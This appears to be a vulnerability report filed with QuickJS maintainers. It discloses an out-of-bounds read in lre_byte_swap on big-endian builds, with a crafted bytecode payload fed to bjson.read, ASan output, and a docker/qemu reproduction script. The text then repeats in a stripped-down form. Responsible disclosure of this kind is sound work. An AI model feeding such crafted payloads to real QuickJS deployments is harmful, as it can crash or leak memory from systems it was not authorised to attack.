Description
|
n = reopcode_info[*p].size; |
JS_ReadRegExp() (quickjs.c:38544) calls lre_byte_swap() on big-endian to fix up the stored little-endian bytecode, but the bytecode is never validated before the swap. An attacker-controlled opcode byte >= REOP_COUNT can cause an OOB read of reopcode_info.
PoC
const payload = new Uint8Array([
0x17, // BC_VERSION = 23
0x00, // atom_count LEB128 = 0
0x11, // BC_TAG_REGEXP = 17
0x02, 0x61, // pattern "a": LEB128(2) + 'a'
0x12, // bytecode string: LEB128(18) = 9 bytes, narrow
// --- 9-byte compiled regex bytecode buffer ---
0x00, 0x00, // RE_HEADER_FLAGS (offset 0-1)
0x00, // RE_HEADER_CAPTURE_COUNT (offset 2)
0x00, // RE_HEADER_STACK_SIZE (offset 3)
0x00, 0x00, 0x00, 0x01, // RE_HEADER_BYTECODE_LEN (offset 4-7): value=1 via bswap
0x1E, // OPCODE = 30 = REOP_COUNT → OOB in reopcode_info[30]
]);
console.log("[*] Triggering OOB read in lre_byte_swap via bjson.read()");
bjson.read(payload.buffer, 0, payload.byteLength, 0);
console.log("[!] Should not reach here — OOB read should have aborted");
Since it's big-endian only, running it is a bit tricky. I tried these two approaches:
- Comment out the
is_be() check and run the above code with ASan enabled. This will give:
==2066600==ERROR: AddressSanitizer: global-buffer-overflow on address 0x56549ece83fe at pc 0x56549ec98d43 bp 0x7ffd934e3bc0 sp 0x7ffd934e3bb8
READ of size 1 at 0x56549ece83fe thread T0
#0 0x56549ec98d42 in lre_byte_swap .../quickjs/libregexp.c:2583:31
#1 0x56549eb0a443 in JS_ReadRegExp .../quickjs/quickjs.c:38547:5
#2 0x56549eb0a443 in JS_ReadObjectRec .../quickjs/quickjs.c:38687:15
...
- Run the test in a docker + qemu setup:
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
IMAGE="ubuntu:22.04"
PLATFORM="linux/s390x"
echo "[*] Enabling QEMU binfmt support for big-endian emulation..."
docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
echo "[*] Running QuickJS build + PoC in $PLATFORM container (big-endian)..."
docker run --rm \
--platform "$PLATFORM" \
-v "$SCRIPT_DIR":/quickjs \
"$IMAGE" bash -c '
set -euo pipefail
echo "[*] Installing build dependencies..."
apt-get update -qq
apt-get install -y -qq build-essential make clang cmake 2>/dev/null
cd /quickjs
echo "[*] Architecture: $(uname -m)"
echo "[*] Byte order: $(python3 -c "import sys; print(sys.byteorder)")"
echo "[*] Building QuickJS (no ASan — incompatible with QEMU user-mode)..."
cmake -B build -DCMAKE_C_COMPILER=clang -DCMAKE_BUILD_TYPE=RelWithDebInfo \
-DQJS_BUILD_WERROR=OFF
cmake --build build -j"$(nproc)"
echo "[*] Running poc.js..."
./build/qjs --std poc.js
'
This will give:
[*] Running poc.js...
[*] Triggering OOB read in lre_byte_swap via bjson.read()
/usr/bin/bash: line 18: 12038 Aborted (core dumped) ./build/qjs --std poc.js
Thanks for looking into this and we appreciate any feedback!
Description
quickjs/libregexp.c
Line 2583 in 610f849
JS_ReadRegExp()(quickjs.c:38544) callslre_byte_swap()on big-endian to fix up the stored little-endian bytecode, but the bytecode is never validated before the swap. An attacker-controlled opcode byte >=REOP_COUNTcan cause an OOB read ofreopcode_info.PoC
Since it's big-endian only, running it is a bit tricky. I tried these two approaches:
is_be()check and run the above code with ASan enabled. This will give:This will give:
Thanks for looking into this and we appreciate any feedback!